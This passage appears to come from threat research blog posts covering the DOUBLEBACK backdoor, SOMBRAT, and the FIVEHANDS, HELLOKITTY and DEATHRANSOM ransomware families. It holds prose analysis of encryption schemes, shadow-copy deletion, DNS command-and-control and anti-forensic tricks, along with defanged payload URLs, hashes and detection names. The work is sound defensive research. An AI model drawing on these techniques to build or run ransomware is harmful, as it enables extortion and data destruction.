The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading. The initialization routine takes four parameters—two from the header and two calculated by the backdoor, as shown Figure 16.

pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, p_plugin_image_in_memory)

Figure 16: Plugins initialization routine prototype

The current backdoor's implementation provides support for up to 32 plugins with each of them mapped and initialized in the backdoor's process space.

Additional Notes

The first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was clearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the dropper from the file system. The dropper would save its current location on disk in the default registry value under the HK[LM|CU]:\Software\Classes key. The backdoor spawns a dedicated thread that retrieves the dropper’s path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte before deleting the dropper from the file system.

Additionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated PowerShell process is used. The dropper would use a scheduled task in that case with the relevant registry keys created under the HKLM hive but the backdoor does not support that case and will not be able to find its image under the specific key in order to inject itself into the msiexec.exe process.

Finally, the backdoor would output debug information in a few cases using the OutputDebugString API. Interestingly, the format and the generation of the log message is the same as the one used in the publicly available PEGASUS code (preliminary technical analysis: Pegasus Malware Source Code). The PEGASUS backdoor is distributed with modules that allow it to manipulate files generated by common Russian payment processing software that is used to assess and process VAT refunds. When executed on a workstation running targeted software, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax refunds to attacker-controlled bank accounts.

Conclusion

Considerable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50 domains supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well coded and extensible backdoor. UNC2529 is assessed as capable, professional and well resourced. The identified wide-ranging targets, across geography and industry suggests a financial crime motive.

DOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide.

Technical Indicators

DOUBLEDRAG / BIFF8

Files

MD5

Role

Wave

39fc804566d02c35f3f9d67be52bee0d

DOUBLEDRAG

1st

44f7af834ee7387ac5d99a676a03cfdd

DOUBLEDRAG

1st

4e5583e34ad54fa7d1617f400281ba56

PDF Decoy

1st

e80dc4c3e26deddcc44e66bb19b6fb58

PDF Decoy

1st

169c4d96138d3ff73097c2a9aab5b1c0

Zip

1st

e70502d020ba707095d46810fd32ee49

Zip

1st

62fb99dc271abc104504212157a4ba91

Excel BIFF8 macro

2nd

1d3fcb7808495bd403973a0472291da5

PDF Decoy

2nd

6a1da7ee620c638bd494f4e24f6f1ca9

Zip

2nd

a28236b43f014c15f7ad4c2b4daf1490

Zip

2nd

d594b3bce66b8b56881febd38aa075fb

Zip

2nd

Domains

Dec. 2, 2020 Wave

Dec. 11 to 18, 2020 Wave

adupla[.]net

aibemarle[.]com

ceylonbungalows[.]net

bestwalletforbitcoin[.]com

chandol[.]com

bitcoinsacks[.]com

closetdeal[.]com

digitalagencyleeds[.]com

daldhillon[.]com

erbilmarriott[.]com

desmoncreative[.]com

ethernetpedia[.]com

farmpork[.]com

fileamazon[.]com

gemralph[.]com

gamesaccommodationscotland[.]com

isjustlunch[.]com

greathabibgroup[.]com

logicmyass[.]com

infomarketx[.]com

lottoangels[.]com

jagunconsult[.]com

mangoldsengers[.]com

khodaycontrolsystem[.]com

oconeeveteransmemorial[.]com

maninashop[.]com

scottishhandcraft[.]com

onceprojects[.]com

seathisons[.]com

simcardhosting[.]com

skysatcam[.]com

stayzarentals[.]com

smartnhappy[.]com

touristboardaccommodation[.]com

stepearn[.]com

towncentrehotel[.]com

sugarmummylove[.]com

vacuumcleanerpartsstore[.]com

techooze[.]com

zmrtu[.]com

tigertigerbeads[.]com

 

totallyhealth-wealth[.]com

 

towncenterhotel[.]com

 

uaeworkpermit[.]com

 

DOUBLEDROP

MD5

  • 4b32115487b4734f2723d461856af155
  • 9e3f7e6697843075de537a8ba83da541
  • cc17e0a3a15da6a83b06b425ed79d84c

URLs

  • hxxp://p-leh[.]com/update_java.dat
  • hxxp://clanvisits[.]com/mini.dat
  • hxxps://towncentrehotels[.]com/ps1.dat
DOUBLEBACK

MD5

  • 1aeecb2827babb42468d8257aa6afdeb
  • 1bdf780ea6ff3abee41fe9f48d355592
  • 1f285e496096168fbed415e6496a172f
  • 6a3a0d3d239f04ffd0666b522b8fcbaa
  • ce02ef6efe6171cd5d1b4477e40a3989
  • fa9e686b811a1d921623947b8fd56337

URLs

  • hxxps://klikbets[.]net/admin/client.php
  • hxxps://lasartoria[.]net/admin/client.php
  • hxxps://barrel1999[.]com/admin4/client.php
  • hxxps://widestaticsinfo[.]com/admin4/client.php
  • hxxps://secureinternet20[.]com/admin5/client.php
  • hxxps://adsinfocoast[.]com/admin5/client.php

Detections

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529.

Platforms

Detection Name

Network Security

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FEC_Trojan_JS_DOUBLEDRAG_1 (static)
  • FE_Trojan_JS_DOUBLEDRAG_1 (static)
  • Downloader.DOUBLEDRAG (network)
  • Downloader.JS.DOUBLEDRAG.MVX (dynamic)
  • FE_Dropper_PS1_DOUBLEDROP_1 (static)
  • FEC_Dropper_PS1_DOUBLEDROP_1 (static)
  • Dropper.PS1.DOUBLEDROP.MVX (dynamic)
  • FE_Backdoor_Win_DOUBLEBACK_1 (static)
  • FE_Backdoor_Win_DOUBLEBACK_2 (static)
  • FE_Backdoor_Win_DOUBLEBACK_3 (static)
  • FE_Backdoor_Win_DOUBLEBACK_4 (static)
  • Backdoor.Win.DOUBLEBACK (network)
  • Malware.Binary.xls

Endpoint Security

Real-Time (IOC)

  • POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • MALICIOUS SCRIPT CONTENT A (METHODOLOGY)
  • POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY)

Malware Protection (AV/MG)

  • Generic.mg.1aeecb2827babb42
  • Generic.mg.1bdf780ea6ff3abe
  • Generic.mg.1f285e496096168f
  • Generic.mg.6a3a0d3d239f04ff
  • Generic.mg.ce02ef6efe6171cd
  • Generic.mg.fa9e686b811a1d92
  • Trojan.JS.Agent.TZP
  • Gen:Variant.Ulise.150277
  • Gen:Variant.Ulise.150283
  • Gen:Variant.Razy.799918

UNC2529 MITRE ATT&CK Mapping

ATT&CK Tactic Category

Techniques

Resource Development

Initial Access

Execution

Privilege Escalation

Defense Evasion

Discovery

Collection

Command and Control

Acknowledgements

Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of this content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.

☑ ☆ ✇ Threat Research

UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat

By: Tyler McLellan

Mandiant has observed an aggressive financially motivated group, UNC2447, exploiting one SonicWall VPN zero-day vulnerability prior to a patch being available and deploying sophisticated malware previously reported by other vendors as SOMBRAT. Mandiant has linked the use of SOMBRAT to the deployment of ransomware, which has not been previously reported publicly.

UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums. UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics.

Mandiant has observed evidence of UNC2447 affiliated actors previously using RAGNARLOCKER ransomware. Based on technical and temporal observations of HELLOKITTY and FIVEHANDS deployments, Mandiant suspects that HELLOKITTY may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021.

Background

In November 2020, Mandiant created UNC2447, an uncategorized group observed using the novel WARPRISM PowerShell dropper to install BEACON at two Mandiant Managed Defense clients. Mandiant Managed Defence quicky neutralized these intrusions and did not observe attempts to deploy ransomware.

In January and February 2021, Mandiant Consulting observed a novel rewrite of DEATHRANSOM—dubbed FIVEHANDS—along with SOMBRAT at multiple victims that were extorted. During one of the ransomware intrusions, the same WARPRISM and BEACON samples previously clustered under UNC2447 were observed. Mandiant was able to forensically link the use of WARPRISM, BEACON, SOMBRAT and FIVEHANDS to the same actor.

Mandiant suspects that HELLOKITTY activity in late-2020 may be related to the overall affiliate program and that usage shifted to FIVEHANDS ransomware beginning in January 2021.

  • In April 2021, Mandiant observed a private FIVEHANDS TOR chat using a HELLOKITTY favicon (Figure 1).


Figure 1: FIVEHANDS Hello Kitty icon

When affiliate-based ransomware is observed by Mandiant, uncategorized clusters are assigned based on the infrastructure used, and in the case of UNC2447 were based on the SOMBRAT and Cobalt Strike BEACON infrastructure used across 5 intrusions between November 2020 and February 2021. Generally, Mandiant uses caution even with novel malware such as SOMBRAT and WARPRISM and clusters each use rigorously according to all observed activity. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors."

SonicWall SMA 100 Series Appliance Vulnerability

CVE-2021-20016 is a critical SQL injection vulnerability that exploits unpatched SonicWall Secure Mobile Access SMA 100 series remote access products. A remote, unauthenticated attacker could submit a specially crafted query in order to exploit the vulnerability. Successful exploitation would grant an attacker the ability to access login credentials (username, password) as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance. This vulnerability only impacted the SMA 100 series and was patched by SonicWall in February 2021. For more information on this vulnerability, please refer to SonicWall PSIRT advisory SNWLID-2021-0001.

WARPRISM

WARPRISM is a PowerShell dropper that has been observed by Mandiant delivering SUNCRYPT, BEACON, and MIMIKATZ. WARPRISM is used to evade endpoint detection and will load its payload directly into memory. WARPRISM may be used by multiple groups.

FOXGRABBER

FOXGRABBER is a command line utility used to harvest FireFox credential files from remote systems. It contains the PDB path: C:\Users\kolobko\Source\Repos\grabff\obj\Debug\grabff.pdb. FOXGRABBER has also been observed in DARKSIDE ransomware intrusions.

BEACON Malleable Profiles

In the initial stages of an intrusion, UNC2447 uses the Cobalt Strike BEACON HTTPSSTAGER implant for persistence to communicate with command-and-control (C2) servers over HTTPS and has been observed using ‘chches_APT10’ and ‘Havex’ Malleable profiles.

UNC2447 Toolbox

During the recon and exfiltration stage of intrusions, UNC2447 has been observed using the following tools: ADFIND, BLOODHOUND, MIMIKATZ, PCHUNTER, RCLONE, ROUTERSCAN, S3BROWSER, ZAP and 7ZIP. UNC2447 may tamper with windows security settings, firewall rules, and antivirus protection.

SOMBRAT Overview

SOMBRAT was first reported by Blackberry Cylance in November 2020 as "The CostaRicto Campaign: Cyber-Espionage Outsourced" as a potential espionage-for-hire criminal group. Mandiant has now observed SOMBRAT alongside FIVEHANDS ransomware intrusions.

The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines.

The SOMBRAT Launcher

This SOMBRAT backdoor variant must be deployed alongside four additional resources that serve as launchers. They are typically installed to the hardcoded directory path `C:\ProgramData\Microsoft`. 

  • path: `C:\programdata\Microsoft\WwanSvc.bat` - launcher for `WwanSvc.txt`
  • path: `C:\programdata\Microsoft\WwanSvc.txt` - decoder and launcher for `WwanSvc.c`
  • path: `C:\programdata\Microsoft\WwanSvc.c` - decoder and launcher for `WwanSvc.b`
  • path: `C:\programdata\Microsoft\WwanSvc.a` - XOR key
  • path: `C:\programdata\Microsoft\WwanSvc.b` - encoded SOMBRAT backdoor
  • path: `%TEMP%\<possibly unique random name>` - encrypted storage file
  • path: `%TEMP%\<possibly unique random name _<integer>` - encrypted storage file
  • path: `C:\ProgramData\<possibly unique random name ` - encrypted configuration file

Other variations of the filenames were observed such as ntuser and wapsvc.

SOMBRAT Technical Details

The SOMBRAT backdoor is written in modern C++ and implemented as a collection of "plugins" that interoperate with one another. There are five plugins distributed with this variant: `core`, `network`, `storage`, `taskman`, and `debug` (the `config` plugin described by Blackberry is not present). The core plugins communicate with the C2 server via messages sent over a common networking layer; each plugin supports its own set of messages, and the backdoor protocol can be extended by dynamically loaded plugins.

The `core` plugin coordinates state tracking, such as network connectivity, and dynamic plugin loading and unloading. The `network` plugin configures the networking layer used to communicate with the C2 server, for example enabling the operator to switch between DNS and TCP protocols. The `storage` plugin exposes logical operations, such as read and write, for an encrypted file used to store plugins, resources, and arbitrary data. The `taskman` plugin enables the operator to list and kill processes on the compromised system. Finally, the `debuglog` plugin supports a single command to records debug messages.

Given that the core plugins do not enable an operator directly execute arbitrary commands or reconfigure the system, the primary function of the SOMBRAT backdoor is to load plugins provided via the C2 server. These plugins may be shellcode or DLL modules to be dynamically loaded. The C2 server may instruct the backdoor to load the plugins directly or persist them into the encrypted storage file, where they may subsequently be reloaded, such as after upgrading the backdoor.


Figure 2: Malware author mark “No one is perfect except me.”

SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c`.

SOMBRAT Network Communications

The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications.

When the backdoor communicates via its DNS protocol, it constructs and resolves FQDNs, interpreting the DNS results to extract C2 messages. The authoritative DNS server embeds data within the IP address field of DNS A record results and within the Name Administrator field of DNS TEXT record results. By making many requests to unique subdomains of the C2 domain, the backdoor can slowly transmit information a few bytes at a time.

Ransomware Similarities

Beginning in October 2020, Mandiant observed samples of a customized version of DEATHRANSOM. This newly modified version removed the language check feature (Figure 3 shows the language check of DEATHRANSOM).


Figure 3: Language check from Fortinet blog

  • HELLOKITTY ransomware—used to target Polish video game developer CD Projekt Red—is reportedly built from DEATHRANSOM.
    • HELLOKITTY is named after a mutex named ‘HELLOKITTYMutex,’ used when the malware executable is launched (see Figure 4).


Figure 4: HELLOKITTY mutex shown in Process Explorer

In January 2021, Mandiant observed a new ransomware deployed against a victim and assigned the name FIVEHANDS.

  • Analysis of FIVEHANDS revealed high similarity to DEATHRANSOM, sharing several features, functions, and coding similarities. Absent in FIVEHANDS is a language check, similar to HELLOKITTY
  • Both DEATHRANSOM and FIVEHANDS drops a ransom note in all non-excluded directories

Technical Comparison of FIVEHANDS, HELLOKITTY and DEATHRANSOM

DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads.

HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting.

FIVEHANDS is written in C++ and although high level functionality is similar, the function calls and code structure to implement the majority of the functionality is written differently. Also, instead of executing threads using QueueUserWorkItem, FIVEHANDS uses IoCompletionPorts to more efficiently manage its encryption threads. FIVEHANDS also uses more functionality from the C++ standard template library (STL) than does HELLOKITTY.

Deletion of Volume Shadow Copies

DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id.

Encryption Operations

Each of these three malware families utilizes a similar encryption scheme. An asymmetric public key is either hard-coded or generated. A unique symmetric key is generated for each encrypted file.

  • After each file is encrypted, the asymmetric key will encrypt the symmetric key and append it to the encrypted file. Additionally, a unique four byte magic value is appended to the end of the encrypted file. The malware checks for these magic bytes to ensure it does not encrypt a previously encrypted file again.
  • DEATHRANSOM and HELLOKITTY implement the file encryption operations using a very similar code structure and flow.
  • FIVEHANDS implements its file encryption with a differing code structure and uses different embedded encryption libraries.
  • In addition to the symmetric key, HELLOKITTY and FIVEHANDS also encrypts file metadata with the public key and appends this to the encrypted file.
  • DEATHRANSOM generates an RSA key pair while HELLOKITTY and FIVEHANDS use an embedded RSA or NTRU public key.

DEATHRANSOM Encryption

  • DEATHRANSOM creates an RSA-2048 public and private key pair. Using an Elliptic-curve Diffie–Hellman (ECDH) routine implemented with Curve25519, it computes a shared secret using two input values: 1) 32 random bytes from a RtlGenRandom call and 2) a hardcoded 32 byte value (attacker's public key). It also create a Curve25519 public key. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys.
  • The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files.
  • For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file.
  • DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file.
  • The analyzed DEATHRANSOM sample used for comparison does not change the file extension.

HELLOKITTY Encryption

  • HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not.
  • Lastly it appends the four magic bytes DA DC CC AB to the end of the encrypted file.
  • Depending on the version, HELLOKITTY may or may not change the file extension.
  • Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA.

FIVEHANDS Encryption

  • FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file.
  • The four magic bytes DB DC CC AB are appended to the end of the encrypted file.
  • FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted.
  • The encrypted file extension is changed to .crypt  extension
  • FIVEHANDS's encryption flow and sequence is very different from the other two, partially because it incorporates asynchronous I/O requests and uses different embedded encryption libraries.

FIVEHANDS Encrypted Dropper

One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97.

CLI arguments

FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments.

Locale and Mutex checks

DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks.

HELLOKITTY performs a mutex check while the other two do not perform mutex checks.

File Exclusions

DEATHRANSOM and HELLOKITTY both exclude the same directories and files:

programdata, $recycle.bin, program files, windows, all users, appdata, read_me.txt, autoexec.bat, desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, or thumbs.db.

The exclusions for FIVEHANDS are more extensive and contain additional files and directories to ignore.

Additional Differences

  • DEATHRANSOM makes an external HTTPS connection to download a file. Neither HELLOKITTY or FIVEHANDS initiate network connections.
  • HELLOKITTY contains code to set the victims wallpaper to a ransom related image. The other samples do not have this functionality
  • Different versions of DEATHRANSOM and HELLOKITTY are known to change the file extension
  • Different versions of HELLOKITTY are known to check for specific processes to terminate.

Feature

FIVEHANDS

HELLOKITTY

DEATHRANSOM

Programming Language

C++

C++

C

Symmetric Encryption

AES 128

AES 256

AES 256

Asymmetric Encryption

Embedded NTRU Key

Embedded RSA or NTRU Key

Curve25519 ECDH and RSA key creation

Same directory and file name exclusions

No

Yes

Yes

Accepts CLI Arguments

Yes

No

No

Network Connections

No

No

Yes

Locale Check

No

No

Yes

Mutex Check

No

Yes

No

Bytes Appended to Encrypted Files

DB DC CC AB

DA DC CC AB

AB CD EF AB

Table 1: Ransomware feature comparison

Conclusion

Mandiant observed SOMBRAT and FIVEHANDS ransomware by the same group since January 2021. While similarities between HELLOKITTY and FIVEHANDS are notable, ransomware may be used by different groups through underground affiliate programs. Mandiant will assign an uncategorized cluster based on multiple factors including infrastructure used during intrusions and as such, not all SOMBRAT or FIVEHANDS ransomware intrusions may have been conducted by UNC2447. WARPRISM and FOXGRABBER have been used in SUNCRYPT and DARKSIDE ransomware demonstrating additional complexity and sharing between different ransomware affiliate programs.

Indicators

SOMBRAT UNC2447
  • 87c78d62fd35bb25e34abb8f4caace4a
  • 6382d48fae675084d30ccb69b4664cbb (31dcd09eb9fa2050aadc0e6ca05957bf unxored)
SOMBRAT Launcher
  • cf1b9284d239928cce1839ea8919a7af (wwansvc.a XOR key)
  • 4aa3eab3f657498f52757dc46b8d1f11 (wwansvc.c)
  • 1f6495ea7606a15daa79be93070159a8 (wwansvc.bat)
  • 31dcd09eb9fa2050aadc0e6ca05957bf (wwansvc.b)
  • edf567bd19d09b0bab4a8d068af15572 (wwansvc.b)
  • a5b26931a1519e9ceda04b4c997bb01f (wwansvc.txt)
  • f0751bef4804fadfe2b993bf25791c49 (4aa3eab3f657498f52757dc46b8d1f11 unxored)
  • 87c78d62fd35bb25e34abb8f4caace4a (edf567bd19d09b0bab4a8d068af15572 unxored)
SOMBRAT domains
  • Celomito[.]com (unc2447)
  • Feticost[.]com (unc2447)
  • Cosarm[.]com
  • Portalcos[.]com
FIVEHANDS
  • 39ea2394a6e6c39c5d7722dc996daf05
  • f568229e696c0e82abb35ec73d162d5e
FIVEHANDS Encrypted Dropper
  • 6c849920155f48d4b4aafce0fc49eb5b
  • 22d35005e926fe29379cb07b810a6075
  • 57824214710bc0cdb22463571a72afd0
  • 87c0b190e3b4ab9214e10a2d1c182153
  • 1b0b9e4cddcbcb02affe9c8124855e58
  • 46ecc24ef6d20f3eaf71ff37610d57d1
  • 1a79b6d169aac719c9323bc3ee4a8361
  • a64d79eba40229ae9aaebbd73938b985
HELLOKITTY
  • 136bd70f7aa98f52861879d7dca03cf2
  • 06ce6cd8bde756265f95fcf4eecadbe9
  • af568e8a6060812f040f0cb0fd6f5a7b
  • d96adf82f061b1a6c80699364a1e3208
DEATHRANSOM
  • c50ab1df254c185506ab892dc5c8e24b
WARPRISM
  • c925822c6d5175c30ba96388b07e9e16 (unc2447)
  • c171bcd34151cbcd48edbce13796e0ed
  • d87fcd8d2bf450b0056a151e9a116f72
  • f739977004981fbe4a54bc68be18ea79
  • e18b27f75c95b4d50bfcbcd00a5bd6c5
  • df6e6b3e53cc713276a03cce8361ae0f
  • 1cd03c0d00f7bfa7ca73f7d73677d8f8
  • 8071f66d64395911a7aa0d2057b9b00d
  • c12a96e9c50db5f8b0b3b5f9f3f134f0
  • e39184eacba2b05aaa529547abf41d2b
  • 09a05a2212bd2c0fe0e2881401fbff17
  • 8226d7615532f32eca8c04ac0d41a9fd
  • a01a2ba3ae9f50a5aa8a5e3492891082
  • 29e53b32d5b4aae6d9a3b3c81648653c
  • a809068b052bc209d0ab13f6c5c8b4e7
BEACON UNC2447
  • 64.227.24[.]12 Havex Profile January 2021
  • 157.230.184[.]142  chches_ APT10 Profile November 2020-January 2021
  • 74c688a22822b2ab8f18eafad2271cac
  • 7d6e57cbc112ebd3d3c95d3c73451a38
FOXGRABBER
  • 4d3d3919dda002511e03310c49b7b47f

FireEye Detections

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect

 

FIVEHANDS

  • FE_Loader_Win32_Generic_162
  • FE_Ransomware_Win32_FIVEHANDS_1
  • Malware.Binary.exe
  • Ransomware.Win.Generic.MVX

SOMBRAT

  • FE_Backdoor_Win64_SOMBRAT_1
  • Backdoor.Win.SOMBRAT
  • Malware.Binary.exe
  • Backdoor.Win.SOMBRAT.MVX
  • FEC_Trojan_PS1_Generic_7
  • FEC_Trojan_PS1_Generic_8
  • FEC_Trojan_BAT_Generic_5

HELLOKITTY

  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe
  • Ransomware.Win.HELLOKITTY.MVX
  • FE_Ransomware_Win_HELLOKITTY_1
  • FE_Ransomware_Win32_HELLOKITTY_1

DEATHRANSOM

  • FE_Loader_Win32_Generic_92
  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe

BEACON

  • FE_Loader_Win32_BLUESPINE_1
  • Backdoor.BEACON
  • Malware.Binary.exe

WARPRISM

  • FE_Loader_PS1_WARPRISM_1
  • FEC_Loader_PS1_WARPRISM_1
  • Backdoor.BEACON
  • Trojan.Generic
  • Trojan.Win.SYSTEMBC
  • Backdoor.Meterpreter
  • Loader.PS1.WARPRISM.MVX
  • Malware.Binary.exe
  • Malware.Binary.ps1

FOXGRABBER

  • FE_Tool_MSIL_FOXGRABBER_1
  • FE_Trojan_MSIL_Generic_109

FireEye EndPoint Security

Real-Time (IOC)

  • SOMBRAT (BACKDOOR)
  • SUSPICIOUS POWERSHELL READ BASE64 DATA (METHODOLOGY)
  • FIVEHANDS RANSOMWARE (FAMILY)
  • DEATHRANSOM RANSOMWARE (FAMILY)
  • HELLOKITTY RANSOMWARE (FAMILY)
  • BEACON (FAMILY)

Malware Protection (AV/MG)

  • SOMBRAT 
    • Generic.mg. 87c78d62fd35bb25
    • Generic.mg.6382d48fae675084
    • Trojan.GenericKD.45750384
    • Trojan.GenericKD.36367848
    • Generic.PwShell.RefA.CB5E962A
  • FIVEHANDS
    • Generic.mg.39ea2394a6e6c39c
    • Generic.mg.f568229e696c0e82
    • Generic.mg.6c849920155f48d4
    • Generic.mg.22d35005e926fe29
    • Generic.mg.57824214710bc0cd
    • Generic.mg.87c0b190e3b4ab92
    • Generic.mg.1b0b9e4cddcbcb02
    • Generic.mg.46ecc24ef6d20f3e
    • Generic.mg.1a79b6d169aac719
    • Generic.mg.a64d79eba40229ae
    • Gen:Variant.Zusy.375932
    • Gen:Variant.Zusy.366866
    • Trojan.GenericKD.46059492
    • Trojan.GenericKD.46059131
    • Trojan.GenericKD.45996121
    • Trojan.GenericKD.45702783
  • WARPRISM 
    • Generic.mg.a01a2ba3ae9f50a5
    • Trojan.PowerShell.Agent.IJ
    • Trojan.Agent.EXDR
    • Trojan.PowerShell.Ransom.E
    • Trojan.Agent.EUKPTrojan.GenericKD.45856129
    • Heur.BZC.PZQ.Boxter.829.B5AEB7A6
    • Heur.BZC.PZQ.Boxter.829.B84D01A7
    • Heur.BZC.PZQ.Boxter.829.AE76D25C
    • Trojan.PowerShell.Ransom.F
    • Dropped:Heur.BZC.MNT.Boxter.826.0A2B3A87
    • Heur.BZC.PZQ.Boxter.829.A15701BD
  • DEATHRANSOM
    • Generic.mg.c50ab1df254c1855
    • Trojan.Ransomware.GenericKD.35760206
  • HELLOKITTY
    • Generic.mg.136bd70f7aa98f52
    • Generic.mg.06ce6cd8bde75626
    • Generic.mg.af568e8a6060812f
    • Generic.mg.d96adf82f061b1a6
    • Generic.Malware.PfVPk!12.299C21F3
    • Gen:Variant.Ransom.HelloKitty.1
    • Generic.Malware.PfVPk!12.606CCA24
    • Generic.Malware.PfVPk!12.1454636C
  • BEACON
    • Generic.mg.74c688a22822b2ab
    • Generic.mg.7d6e57cbc112ebd3
    • Trojan.Agent.DDSN

MITRE ATT&CK

Tactic

Description

Initial Access

  • T1078 Valid Accounts

Execution

  • T1047 Windows Management Instrumentation
  • T1053.005 Scheduled Task / Job: Scheduled Task
  • T1059.001 Command and Scripting Interpreter: PowerShell
  • T1106 Execution through API

Defense Evasion

  • T1045 Software Packing
  • T1055 Process Injection
  • T1140 Deobfuscate / Decode Files or Information

Discovery

  • T1012 Query Registry
  • T1046 Network Service Scanning
  • T1057 Process Discovery
  • T1082 System Information Discovery
  • T1124 System Time Discovery
  • T1135 Network Share Discovery

Collection

  • T1560.003 Archive Collected Data: Archive via Custom Method

Impact

  • T1485 Data Destruction
  • T1486 Data Encrypted for Impact
  • T1490 Inhibit System Recovery

Command and Control

  • T1071.001 Application Layer Protocol: Web Protocols
  • T1090.002 Proxy: External Proxy
  • T1572  Protocol Tunneling
  • T1573.002 Encrypted Channel: Asymmetric Cryptography

Exfiltration

  • T1041 Exfiltration over C2 Channel

Acknowledgements

Thanks to Nick Richard for technical review, Genevieve Stark and Kimberly Goody for analytical contributions, and Jon Erickson, Jonathan Lepore, and Stephen Eckels for analysis incorporated into this blog post.

☑ ☆ ✇ Threat Research

Shining a Light on DARKSIDE Ransomware Operations

By: Jordan Nuce

